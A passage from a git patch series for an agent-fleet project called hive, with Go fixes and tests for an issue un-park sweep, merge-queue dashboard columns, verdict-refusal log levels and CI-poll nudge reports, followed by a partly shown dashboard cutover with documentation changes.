=?UTF-8?q?=20(#16594)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(github): stop un-park sweep re-offering decisions on a held issue Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * changelog: fragment for #16594 Generated by changelog-fragment-guard from the PR title (#5675). Edit the wording freely, or replace this file with the no-changelog label if the change is not user-visible. Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Signed-off-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> * chore(changelog): make fragment a single '- ' entry bullet Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * fix(github): keep held issues in the un-park sweep, only drop the re-offer Review of #16594: dropping needs-human + approved-direction from hasIssueParkingLabel took the held issue out of the sweep entirely, so a /hive decision, /hive help or /fixed posted on it was no longer parsed or answered. #16591 only asked to stop re-offering the decision. Keep the issue in scope and gate the "What to reply" notice and the prose hint on !isHeldAfterDecision instead; commands are still answered. Hive-Fix-Attempt: 1/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: ci-maintainer <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Signed-off-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> Signed-off-by: ci-maintainer <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- changelog.d/fixed-16591.md | 1 + src/pkg/github/issue_unpark_command.go | 20 ++++- src/pkg/github/issue_unpark_command_test.go | 86 +++++++++++++++++++++ 3 files changed, 106 insertions(+), 1 deletion(-) create mode 100644 changelog.d/fixed-16591.md diff --git a/changelog.d/fixed-16591.md b/changelog.d/fixed-16591.md new file mode 100644 index 0000000000..b54e4c37f5 --- /dev/null +++ b/changelog.d/fixed-16591.md @@ -0,0 +1 @@ +- The un-park sweep no longer posts the "What to reply" notice or the `/hive approve` hint on an issue held after a human decision (`needs-human` + `approved-direction`, no stage/045), while still answering `/hive decision`, `/hive help` and `/fixed` on it ([#16591](https://github.com/hivecommons/hive/issues/16591)). diff --git a/src/pkg/github/issue_unpark_command.go b/src/pkg/github/issue_unpark_command.go index 121ab354cb..65b94b17fe 100644 --- a/src/pkg/github/issue_unpark_command.go +++ b/src/pkg/github/issue_unpark_command.go @@ -445,7 +445,11 @@ func (c *Client) tryUnparkIssue(ctx context.Context, displayRepo, owner, repo st if err != nil { return false, err } - if !labelDriven { + // A held issue (hivecommons/hive#16591) has nothing open to decide: no + // "What to reply" notice and no prose hint, but every command it does + // get is still answered. + held := isHeldAfterDecision(issueLabelNames(issue.Labels)) + if !labelDriven && !held { if err := c.ensureUnparkNoticeComment(ctx, owner, repo, number, issue.GetBody(), comments); err != nil { return false, err } @@ -503,6 +507,9 @@ func (c *Client) tryUnparkIssue(ctx context.Context, displayRepo, owner, repo st return true, nil case unparkCommandNone: // Prose assent, no command. Say what to type; do not act on it. + if held { + return false, nil + } if err := c.postUnparkReply(ctx, owner, repo, number, candidate.GetID(), unparkProseHintReply); err != nil { return false, err } @@ -1283,3 +1290,14 @@ func renderUnparkFixedReply(actor, note string, removed []string) string { b.WriteString("; any `hold` label is left exactly as it was.\n\nIf this was closed by mistake, the reporter or a maintainer can comment `/reopen`.") return b.String() } + +// isHeldAfterDecision reports an issue held after a human decision: +// `needs-human` beside the approval label and without a stage/045 park label. +// Nothing is open to decide on it, so the sweep stops offering `/hive approve` +// / `/hive decision` (hivecommons/hive#16591) while still answering any +// command a maintainer posts. +func isHeldAfterDecision(labels []string) bool { + return hasIssueNeedsHumanLabel(labels) && labelPresent(labels, HumanAckLabel) && + !labelPresent(labels, NeedsDecisionStageLabel) && !labelPresent(labels, legacyIssueNeedsDecisionStageLabel) && + !labelPresent(labels, issueNeedsDecisionLabel) && !labelPresent(labels, issueNeedsDirectionLabel) +} diff --git a/src/pkg/github/issue_unpark_command_test.go b/src/pkg/github/issue_unpark_command_test.go index a246e94a54..f9f8bda079 100644 --- a/src/pkg/github/issue_unpark_command_test.go +++ b/src/pkg/github/issue_unpark_command_test.go @@ -1269,3 +1269,89 @@ func TestParseUnparkCommandKeepsDecisionTextAfterFirstLine(t *testing.T) { t.Fatalf("single-line decision = %+v", single) } } + +func heldIssue(number int, comments ...unparkWireComment) unparkWireIssue { + issue := parkedIssue(number, comments...) + issue.Labels = []wireLabel{{Name: "needs-human"}, {Name: HumanAckLabel}, {Name: "hold"}} + return issue +} + +func TestIsHeldAfterDecision(t *testing.T) { + if !isHeldAfterDecision([]string{"needs-human", HumanAckLabel}) { + t.Fatal("needs-human + approved-direction without a park stage is held") + } + if isHeldAfterDecision([]string{"needs-human", HumanAckLabel, NeedsDecisionStageLabel}) { + t.Fatal("a stage/045 park label means something is still open to decide") + } + if isHeldAfterDecision([]string{"needs-human"}) { + t.Fatal("needs-human alone is parked, not held") + } + if !hasIssueParkingLabel([]string{"needs-human", HumanAckLabel}) { + t.Fatal("a held issue stays in the sweep so its commands are still answered") + } +} + +func TestSweepIssueUnparkCommandsHeldIssueGetsNoNoticeOrProseHint(t *testing.T) { + issues := []unparkWireIssue{ + heldIssue(61), + heldIssue(62, humanComment(71, "maintainer", "sounds good, go ahead")), + } + server, rec := newUnparkServer(t, "org", "repo", issues, map[string]string{"maintainer": "admin"}) + c := newTestClient(t, server, "org", []string{"repo"}) + + result, err := c.SweepIssueUnparkCommands(context.Background(), IssueUnparkSweepOptions{}) + if err != nil { + t.Fatalf("sweep: %v", err) + } + if result.Seen != 2 || len(result.Unparked) != 0 || result.Replies != 0 { + t.Fatalf("seen=%d unparked=%+v replies=%d", result.Seen, result.Unparked, result.Replies) + } + for _, n := range []int{61, 62} { + if len(rec.posted[n]) != 0 { + t.Fatalf("held issue %d must not be re-offered a decision, got %v", n, rec.posted[n]) + } + } + if len(rec.edited) != 0 { + t.Fatalf("no notice to edit on a held issue, got %v", rec.edited) + } +} + +func TestSweepIssueUnparkCommandsHeldIssueStillAnswersDecision(t *testing.T) { + issues := []unparkWireIssue{heldIssue(63, humanComment(72, "maintainer", "/hive decision ship it as is"))} + server, rec := newUnparkServer(t, "org", "repo", issues, map[string]string{"maintainer": "admin"}) + c := newTestClient(t, server, "org", []string{"repo"}) + + result, err := c.SweepIssueUnparkCommands(context.Background(), IssueUnparkSweepOptions{}) + if err != nil { + t.Fatalf("sweep: %v", err) + } + if len(result.Unparked) != 1 || result.Unparked[0].Number != 63 || result.Unparked[0].Decision != "ship it as is" { + t.Fatalf("a /hive decision on a held issue must still be answered, got %+v", result.Unparked) + } + if len(rec.posted[63]) != 1 || !strings.Contains(rec.posted[63][0], "Decision: ship it as is") { + t.Fatalf("expected exactly the acceptance reply, got %v", rec.posted[63]) + } + if strings.Contains(rec.posted[63][0], unparkNoticeMarker) { + t.Fatalf("the notice must not be posted on a held issue: %v", rec.posted[63]) + } + if strings.Contains(strings.Join(rec.removed[63], ","), "hold") { + t.Fatalf("hold must never be removed, got %v", rec.removed[63]) + } +} + +func TestSweepIssueUnparkCommandsHeldIssueStillAnswersHelp(t *testing.T) { + issues := []unparkWireIssue{heldIssue(64, humanComment(73, "maintainer", "/hive help"))} + server, rec := newUnparkServer(t, "org", "repo", issues, map[string]string{"maintainer": "admin"}) + c := newTestClient(t, server, "org", []string{"repo"}) + + result, err := c.SweepIssueUnparkCommands(context.Background(), IssueUnparkSweepOptions{}) + if err != nil { + t.Fatalf("sweep: %v", err) + } + if result.Replies != 1 || len(rec.posted[64]) != 1 { + t.Fatalf("expected one help reply, replies=%d posted=%v", result.Replies, rec.posted[64]) + } + if strings.Contains(rec.posted[64][0], unparkNoticeMarker) { + t.Fatalf("the help reply must be the only comment, got %v", rec.posted[64]) + } +} From a5146833059b834c3517efc37c99be0655106790 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 14:46:09 +0000 Subject: [PATCH 75/87] fix(dashboard): keep approved 085 PRs in Merge queue while CI re-runs (#16604) Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/fixed-merge-queue-ci-rerun-flip.md | 1 + src/pkg/dashboard/stage_tracker_item_column_test.go | 6 ++++++ src/pkg/dashboard/stage_tracker_vocabulary.go | 7 +++++-- 3 files changed, 12 insertions(+), 2 deletions(-) create mode 100644 changelog.d/fixed-merge-queue-ci-rerun-flip.md diff --git a/changelog.d/fixed-merge-queue-ci-rerun-flip.md b/changelog.d/fixed-merge-queue-ci-rerun-flip.md new file mode 100644 index 0000000000..fe52e153d8 --- /dev/null +++ b/changelog.d/fixed-merge-queue-ci-rerun-flip.md @@ -0,0 +1 @@ +- A human-gated (085) PR that is approved on its current head now stays in the Merge queue column while CI on that head is queued or re-running, instead of flipping to PR in progress and back as checks cycle; failing CI or an unapproved review still moves it out ([#16595](https://github.com/hivecommons/hive/issues/16595)). diff --git a/src/pkg/dashboard/stage_tracker_item_column_test.go b/src/pkg/dashboard/stage_tracker_item_column_test.go index 999ae23049..6404ddc4b7 100644 --- a/src/pkg/dashboard/stage_tracker_item_column_test.go +++ b/src/pkg/dashboard/stage_tracker_item_column_test.go @@ -167,6 +167,12 @@ func TestStageTrackerPersonActsOnPRColumn(t *testing.T) { {"decision with CI red, review approved", func(it *StageTrackerItem) { it.Reason, it.UnauthorizedStep, it.CIActivity, it.ReviewActivity = "", "", ci("failing"), review("approved") }, trackerColumnPR}, + {"approved decision with CI running on the head keeps the gate", func(it *StageTrackerItem) { + it.Reason, it.UnauthorizedStep, it.CIActivity, it.ReviewActivity = "", "", ci("running"), review("approved") + }, trackerColumnMergeGate}, + {"approved decision with CI queued on the head keeps the gate", func(it *StageTrackerItem) { + it.Reason, it.UnauthorizedStep, it.CIActivity, it.ReviewActivity = "", "", ci("queued"), review("approved") + }, trackerColumnMergeGate}, {"bare 085 decision keeps the gate (#14821)", func(it *StageTrackerItem) { it.Reason, it.UnauthorizedStep, it.CIActivity, it.ReviewActivity = "", "", nil, nil }, trackerColumnMergeGate}, diff --git a/src/pkg/dashboard/stage_tracker_vocabulary.go b/src/pkg/dashboard/stage_tracker_vocabulary.go index 4d33e60cff..0dab37b723 100644 --- a/src/pkg/dashboard/stage_tracker_vocabulary.go +++ b/src/pkg/dashboard/stage_tracker_vocabulary.go @@ -133,10 +133,13 @@ func stageTrackerMergeReadyEvidence(it *StageTrackerItem) bool { } // stageTrackerNotMergeReadyEvidence: a track on the current head says the -// PR is short of merge-ready (review not approved, CI not green). +// PR is short of merge-ready (review not approved, CI not green). CI that +// is queued or running on the same head is a re-run, not a regression, so +// it does not count. func stageTrackerNotMergeReadyEvidence(it *StageTrackerItem) bool { return (stageTrackerActivityOnHead(it, it.ReviewActivity) && it.ReviewActivity.State != "approved") || - (stageTrackerActivityOnHead(it, it.CIActivity) && it.CIActivity.State != "passing") + (stageTrackerActivityOnHead(it, it.CIActivity) && it.CIActivity.State != "passing" && + it.CIActivity.State != "queued" && it.CIActivity.State != "running") } // stageTrackerStagePhrase is the stage as a lowercase clause for the From e60c8e9c0e05d844348b4667e9affd33ffdc02ff Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 15:10:54 +0000 Subject: [PATCH 76/87] =?UTF-8?q?=F0=9F=90=9B=20fix(github):=20log=20expec?= =?UTF-8?q?ted=20author=20self-approval=20verdict=20refusals=20at=20INFO?= =?UTF-8?q?=20(#16606)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(github): log expected author self-approval verdict refusals at INFO Refs #16605. A reviewer verdict refused as author_self_approval is the guard working as designed, but it was logged at WARN and the selfreport pipeline classified repeats as unclassified_error_repeated. Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * changelog: fragment for #16606 Generated by changelog-fragment-guard from the PR title (#5675). Edit the wording freely, or replace this file with the no-changelog label if the change is not user-visible. Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Signed-off-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> * fix(github): pass ctx to refusal log; single changelog fragment Thread the caller's context through logVerdictDispatchRefusal so context-aware log handlers keep trace attributes, and collapse the two changelog fragments into one '- ' bullet entry citing #16605. Hive-Fix-Attempt: 1/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Signed-off-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- changelog.d/fixed-16606.md | 1 + src/pkg/github/review_verdict_relay.go | 21 ++++++++++++++++----- src/pkg/github/review_verdict_relay_test.go | 21 +++++++++++++++++++++ 3 files changed, 38 insertions(+), 5 deletions(-) create mode 100644 changelog.d/fixed-16606.md diff --git a/changelog.d/fixed-16606.md b/changelog.d/fixed-16606.md new file mode 100644 index 0000000000..e0637fa390 --- /dev/null +++ b/changelog.d/fixed-16606.md @@ -0,0 +1 @@ +- fix(github): log expected author self-approval verdict refusals at INFO instead of WARN so they no longer surface in repeated-error self-reports (#16605) diff --git a/src/pkg/github/review_verdict_relay.go b/src/pkg/github/review_verdict_relay.go index 8614e7f3a3..75996c6a04 100644 --- a/src/pkg/github/review_verdict_relay.go +++ b/src/pkg/github/review_verdict_relay.go @@ -385,6 +385,21 @@ func maintainerCallQuestion(body string) string { return "" } +// logVerdictDispatchRefusal reports a discarded verdict. A self-approval +// refusal is the guard working as designed, not a runtime fault, so it is +// logged at INFO to keep it out of the fleet's repeated-error reports. +func (c *Client) logVerdictDispatchRefusal(ctx context.Context, req ReviewRequest, report review.PerspectiveReport, reason string) { + level := slog.LevelWarn + if reason == "author_self_approval" { + level = slog.LevelInfo + } + c.logger.Log(ctx, level, "review-request watcher: verdict does not match a review dispatch, discarded", + slog.String("reviewed", fmt.Sprintf("%s#%d", req.Repo, req.Number)), + slog.String("perspective", string(report.Perspective)), + slog.String("agent", req.Agent), + slog.String("reason", reason)) +} + // writeOneVerdict commits a single perspective's verdict where review.Collect // will find it. One file per perspective, which is what the collector has // always read β€” a combined review changes how verdicts arrive, not how they @@ -408,11 +423,7 @@ func (c *Client) writeOneVerdict(ctx context.Context, req ReviewRequest, report // here exactly as it would be for a single-object verdict. auth := c.verdictDispatchAuthorizedAt(ctx, report, req, prSnapshot) if !auth.OK { - c.logger.Warn("review-request watcher: verdict does not match a review dispatch, discarded", - slog.String("reviewed", fmt.Sprintf("%s#%d", req.Repo, req.Number)), - slog.String("perspective", string(report.Perspective)), - slog.String("agent", req.Agent), - slog.String("reason", auth.Reason)) + c.logVerdictDispatchRefusal(ctx, req, report, auth.Reason) return report, false, false } // A dispatched verdict is stored under the head its dispatch record names, diff --git a/src/pkg/github/review_verdict_relay_test.go b/src/pkg/github/review_verdict_relay_test.go index 58576670d5..8f4e719aef 100644 --- a/src/pkg/github/review_verdict_relay_test.go +++ b/src/pkg/github/review_verdict_relay_test.go @@ -847,3 +847,24 @@ func TestAdvisoryVerdictRejectsSiblingReplicaOfAuthor(t *testing.T) { t.Fatalf("sibling-replica self-approval verdict was recorded: %v", matches) } } + +func TestLogVerdictDispatchRefusalLevel(t *testing.T) { + tests := []struct { + reason string + wantLevel string + }{ + {"author_self_approval", "level=INFO"}, + {"non_reviewer_without_dispatch", "level=WARN"}, + {"dispatch_state_unavailable", "level=WARN"}, + } + for _, tt := range tests { + t.Run(tt.reason, func(t *testing.T) { + var logBuf bytes.Buffer + c := &Client{logger: slog.New(slog.NewTextHandler(&logBuf, nil))} + c.logVerdictDispatchRefusal(context.Background(), ReviewRequest{Repo: "o/r", Number: 1, Agent: "reviewer"}, review.PerspectiveReport{}, tt.reason) + if !strings.Contains(logBuf.String(), tt.wantLevel) { + t.Fatalf("log = %q, want %s", logBuf.String(), tt.wantLevel) + } + }) + } +} From 5a7bba31bc24875f76750e0869ac1ce14bf16ef8 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 15:29:54 +0000 Subject: [PATCH 77/87] =?UTF-8?q?=F0=9F=90=9B=20fix(agent-runtime):=20clea?= =?UTF-8?q?r=20ci=5Fpoll=5Fnudge=20report=20once=20the=20nudge's=20kick=20?= =?UTF-8?q?is=20superseded=20(#16608)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(agent-runtime): clear ci_poll_nudge report once the nudge's kick is superseded Refs #16588. The stop-polling nudge is the designed recovery, but the ci_poll_nudge condition was never cleared, so every nudge opened a fleet issue stuck at 'self-recovered: no'. Clear the condition when the next kick is delivered after a nudge was sent, mirroring agent_stall recovery. Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * changelog: fragment for #16608 Generated by changelog-fragment-guard from the PR title (#5675). Edit the wording freely, or replace this file with the no-changelog label if the change is not user-visible. Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Signed-off-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> * changelog: make #16588 fragment a '- ' bullet and drop duplicate fixed-16608.md The hand-written fragment was bare prose, failing changelog-fragment-guard, and the autofix then added a second title-only fragment for the same PR. Rewrite the fragment as a single bullet with the issue link and remove the duplicate so the PR ships one fragment. Hive-Fix-Attempt: 1/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: ci-maintainer <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Signed-off-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> Signed-off-by: ci-maintainer <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../fixed-16588-ci-poll-nudge-selfreport.md | 1 + src/crux/agent/ci_poll_sweep_test.go | 24 +++++++++++++++++++ src/crux/agent/manager_kick.go | 5 ++++ 3 files changed, 30 insertions(+) create mode 100644 changelog.d/fixed-16588-ci-poll-nudge-selfreport.md diff --git a/changelog.d/fixed-16588-ci-poll-nudge-selfreport.md b/changelog.d/fixed-16588-ci-poll-nudge-selfreport.md new file mode 100644 index 0000000000..e232f220cb --- /dev/null +++ b/changelog.d/fixed-16588-ci-poll-nudge-selfreport.md @@ -0,0 +1 @@ +- Stop-polling nudges no longer leave a `ci_poll_nudge` fleet report marked unrecovered: the next kick after a nudge now closes it as self-recovered, so the report stops accusing a healthy agent of being stuck ([#16588](https://github.com/hivecommons/hive/issues/16588)). diff --git a/src/crux/agent/ci_poll_sweep_test.go b/src/crux/agent/ci_poll_sweep_test.go index 9bc6e31012..b6dcd7e99b 100644 --- a/src/crux/agent/ci_poll_sweep_test.go +++ b/src/crux/agent/ci_poll_sweep_test.go @@ -6,6 +6,8 @@ import ( "strings" "testing" "time" + + "github.com/hivecommons/hive/crux" ) // ci_poll_sweep_test.go pins #14016: the scanner's merge sweep and CI-repair @@ -204,3 +206,25 @@ func TestRepeatedCIPollCommandLines(t *testing.T) { t.Fatalf("sweep listed as repeated: %q", got) } } + +// The stop-polling nudge is the recovery, so the next kick clears the +// ci_poll_nudge condition rather than leaving it reported as unrecovered (#16588). +func TestCIPollNudgeClearedOnNextKick(t *testing.T) { + m, a := ciPollManager(t, ciPollIdlePane, 2*time.Minute) + rec := recordConditions(t, m) + + m.mu.Lock() + m.recordDeliveredKickLocked(a, "inspect PRs", "test") + m.mu.Unlock() + if got := rec.clears(crux.ClassCIPollNudge); len(got) != 0 { + t.Fatalf("clear without a nudge: %#v", got) + } + + m.mu.Lock() + a.ciPollNudgeSent = true + m.recordDeliveredKickLocked(a, "inspect PRs", "test") + m.mu.Unlock() + if got := rec.clears(crux.ClassCIPollNudge); len(got) != 1 || got[0].Key != a.Name { + t.Fatalf("clears = %#v, want one for %s", got, a.Name) + } +} diff --git a/src/crux/agent/manager_kick.go b/src/crux/agent/manager_kick.go index fe8c5f59f3..6c951ff28d 100644 --- a/src/crux/agent/manager_kick.go +++ b/src/crux/agent/manager_kick.go @@ -433,6 +433,11 @@ func (m *Manager) recordDeliveredKickLocked(agent *AgentProcess, message, trigge agent.lastTransientNudge = time.Time{} agent.ciPollBaseline = -1 agent.ciPollCommandBaseline = nil + // The nudge is the recovery: a new kick after one was sent closes the + // ci_poll_nudge report as self-recovered instead of leaving it open (#16588). + if agent.ciPollNudgeSent { + m.clearCondition(crux.ClassCIPollNudge, agent.Name) + } agent.ciPollNudgeSent = false agent.AwaitingCI = false From c239bcbb5c5153431842c33426a68776b8a70589 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 15:54:44 +0000 Subject: [PATCH 78/87] feat(dashboard): replace Matrix presentation with Code activity (#16609) Cutover (part 3/3 of #16137): the Activity Monitor topbar entry #oc-matrix-tab becomes a single Code activity entry opening the published-checkpoint reader in a new tab, and the decorative Matrix renderers, styles and boot/SSE hooks are retired. Saved ?kiosk=1&view=matrix URLs alias to the reader; the /api/matrix/lines and dashboard.matrix.* names stay supported as deprecated aliases. Default stays off. Closes #16477 Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../changed-16477-code-activity-cutover.md | 1 + src/deploy/stream/README.md | 2 +- src/docs/api-reference/dashboard-misc.md | 10 +- src/docs/dashboard.md | 25 +- src/docs/operator-reference/README.md | 2 +- src/docs/streaming-the-activity-monitor.md | 72 ++-- src/pkg/config/config.go | 4 +- src/pkg/config/dashboard_matrix.go | 5 +- src/pkg/dashboard/kiosk_cta.test.js | 6 +- src/pkg/dashboard/matrix_header_tab_test.go | 20 +- src/pkg/dashboard/matrix_ui_test.go | 155 ++----- src/pkg/dashboard/reader_ui_test.go | 20 +- src/pkg/dashboard/server.go | 2 +- src/pkg/dashboard/static-src/css/kiosk.css | 4 +- src/pkg/dashboard/static-src/css/matrix.css | 17 - src/pkg/dashboard/static-src/html/topbar.html | 3 +- src/pkg/dashboard/static-src/js/boot.js | 10 +- src/pkg/dashboard/static-src/js/matrix.js | 347 ---------------- src/pkg/dashboard/static-src/js/refresh.js | 6 +- .../dashboard/static-src/js/sse-bootstrap.js | 1 - src/pkg/dashboard/static-src/manifest.txt | 2 - src/pkg/dashboard/static/index.html | 388 +----------------- .../webstatic/dashboard_script_test.go | 2 +- 23 files changed, 131 insertions(+), 973 deletions(-) create mode 100644 changelog.d/changed-16477-code-activity-cutover.md delete mode 100644 src/pkg/dashboard/static-src/css/matrix.css delete mode 100644 src/pkg/dashboard/static-src/js/matrix.js diff --git a/changelog.d/changed-16477-code-activity-cutover.md b/changelog.d/changed-16477-code-activity-cutover.md new file mode 100644 index 0000000000..cd752c68e5 --- /dev/null +++ b/changelog.d/changed-16477-code-activity-cutover.md @@ -0,0 +1 @@ +- Code activity supersedes the Matrix code view: the Activity Monitor topbar has one **Code activity** entry (still `#oc-matrix-tab`) that opens the published-checkpoint reader at `?kiosk=1&view=reader` in a new tab. The decorative rain/cascade/ghost/terminal renderers and their `mx.*` settings are retired. Saved `?kiosk=1&view=matrix` URLs are a deprecated alias for the reader, and the internal `/api/matrix/lines` and `dashboard.matrix.*` names are deprecated but still supported. Capture and broadcasting stay off by default. diff --git a/src/deploy/stream/README.md b/src/deploy/stream/README.md index 2dd578b794..f07ccf8460 100644 --- a/src/deploy/stream/README.md +++ b/src/deploy/stream/README.md @@ -13,7 +13,7 @@ Twitch stream. Operator guide, Twitch-side setup, and troubleshooting: | `docker-compose.yaml`, `.env.example` | Run the same image from a laptop. | | `k8s/` | Kustomize base: Namespace `hive-stream`, ConfigMap, Deployment (1 replica, non-root, 512 Mi `/dev/shm`, 1–3 CPU / 3–6 Gi), NetworkPolicy (DNS, dashboard Service, public RTMP/HTTPS only). `secret.yaml` is a **template** and is not in the kustomization. | | `overlays/hive-hosted/` | hive's own hosted spoke on `hive-oke`. | -| `overlays/hive-hosted-matrix/` | Inactive, silent Matrix instance for `twitch.tv/hivecommonsmatrix`: separate namespace and identity, `twitch-stream-matrix` secret reference, zero replicas; owner-only activation. | +| `overlays/hive-hosted-matrix/` | Inactive, silent Code activity instance (formerly Matrix; `view=matrix` is a deprecated alias for the reader) for `twitch.tv/hivecommonsmatrix`: separate namespace and identity, `twitch-stream-matrix` secret reference, zero replicas; owner-only activation. | | `fleet/` | Standalone, **disabled-by-default** Kustomize base for the hub-wide monitor on `twitch.tv/hivecommonsfleet` (#15966): namespace `hive-stream-fleet`, `replicas: 0`, `STREAM_PROFILE=public-safe`, stream-key Secret `twitch-stream-hivecommonsfleet` (name only; `secret.yaml` is a template), no dashboard credential, public egress only. Shares no resource with `k8s/` or `overlays/`. | | `public-safe-gate.sh` | Run by `entrypoint.sh` before any process. No-op unless `STREAM_PROFILE=public-safe`; then it exits unless the owner enabled the stream, acknowledged the public-safe policy, set a real `https://` source, left `DASHBOARD_TOKEN` unset and installed a stream key. | diff --git a/src/docs/api-reference/dashboard-misc.md b/src/docs/api-reference/dashboard-misc.md index cf87b2ca02..f19178f89f 100644 --- a/src/docs/api-reference/dashboard-misc.md +++ b/src/docs/api-reference/dashboard-misc.md @@ -56,7 +56,7 @@ The monitor renders CI and Review concurrently on one shared PR row; see | `POST` | `/api/budget-ignore` | Owner only | Budget Ignore Set | `pkg/dashboard/api.go:177` | | `GET` | `/api/summaries` | Dashboard auth/session | Summaries | `pkg/dashboard/api.go:189` | | `GET` | `/api/stage-tracker` | Dashboard auth/session | Stage Tracker: every open issue and pull request of the watched repos for the Hive activity monitor β€” actionable, held, claimed, in-progress, covered-by-PR, filtered (`needs-*`), draft and exempt-labelled items alike, each with `stage`, `stage_since`, `labels`, `created_at`, `author_kind`, `modifiers`, `claimant: {kind: hive-agent|clanker|person, login, agent, hive, since, source: claim-ledger|claim-comment|assignee|kick-history|author}` naming who holds a claimed / in-progress issue or a PR under review or rework (absent when nobody is named; mirrored onto `linked_prs[]`), (PRs) `sentinel_alert` / `sentinel_findings` / `sentinel_reason` when the sentinel flagged the PR, `decision_needed` on a row parked on a person (085 / 045 / 015, the needs-human pill; mirrored onto the issue's `linked_prs[]` entry): `{question, asked_by, since, blocker, blocker_reason, options: [{action, label, enabled, reason_if_disabled}]}` β€” the reviewer's own decision question when the verdict record has one, the blocker in plain words, and the applicable actions under the row context menu's action ids (`decide:delegate` first), (PRs) `lineage` on the hive's copy of an adopted PR β€” `{kind: adopted|superseded|rebased-by-hive, from_number, from_url, from_author, from_author_kind, to_number, to_url, at, reason}`, derived from the stage store's adoption record or the `hive/adopt-<n>` head branch, mirrored onto the issue's `linked_prs[]` entry; absent on every other row β€” and (issues) `linked_prs`; items with no stage yet report stage `0` "Open"; `needs_human_labels` is the "a person must act" label set behind the monitor's Needs human facet (the same list as `/api/status.labelPresets[needs-human]`); `recently_merged` lists the PRs (`repo`, `number`, `merged_at`) whose `pr_merged` audit entry is under 30 minutes old, so a client diffing two payloads can tell a merge from a close; a PR in a conflict-aware merge train carries `merge_train` `{id, state, front, position, size, attempt, max_attempts, overlap_files, ahead, length, head_number, head_state, head_reason, head_since, eta_s, eta_at, eta_basis, late, stalled, stalled_s}` β€” `head_state` one of `needs-human` / `ci` / `soaking` / `ready` / `merging` / `fixing` / `unknown` with `head_reason` in plain words; `eta_s` / `eta_at` the estimated wait for this member's own merge attempt (own remaining soak + each PR ahead's remaining soak or one sweep + the next sweep tick; absent while the head waits on a person or CI), `eta_at` anchored to the member's first estimate at its position so a countdown survives polls, `eta_basis` its short reading ("2 ahead Β· head soaking 12m Β· next sweep in 40s"), `late` once now has overrun the first estimate twice over, `stalled` / `stalled_s` once the head has sat longer than `governor.merge_train_stall_warn_s` ([#15395](https://github.com/hivecommons/hive/issues/15395)); a PR the queue holds because another open PR declares the same `Fixes #N` carries no `merge_train` and a `merge_gate` of `{state: "duplicate-of:<winner>", duplicate_of, duplicate_issue}` plus the `needs-decision` modifier (the queue keeps one PR per issue: green first, then the earlier-opened); a PR GitHub reports conflicting on its own, or one under repair (stage/070, 071, 072, 074, 085, or a red required check), carries no `merge_train` and is not counted in any member's `size` / `length` β€” a repaired member the view dropped carries `left_train: {why: fixing|needs-author|returned-to-contributor|adopted-by-hive|needs-decision|checks-failing, note}` instead (mirrored onto the issue's `linked_prs[]` entry), and a train left with one member reports no `merge_train` at all; a PR short of the merge queue (below stage/080) the planner ordered rides no train either β€” it carries `overlap: {behind, with, files, note}` ("overlaps #15637 (sidebar.html, index.html) β€” will queue behind it") and no `merge_train`, and counts in no member's `size` β€” the 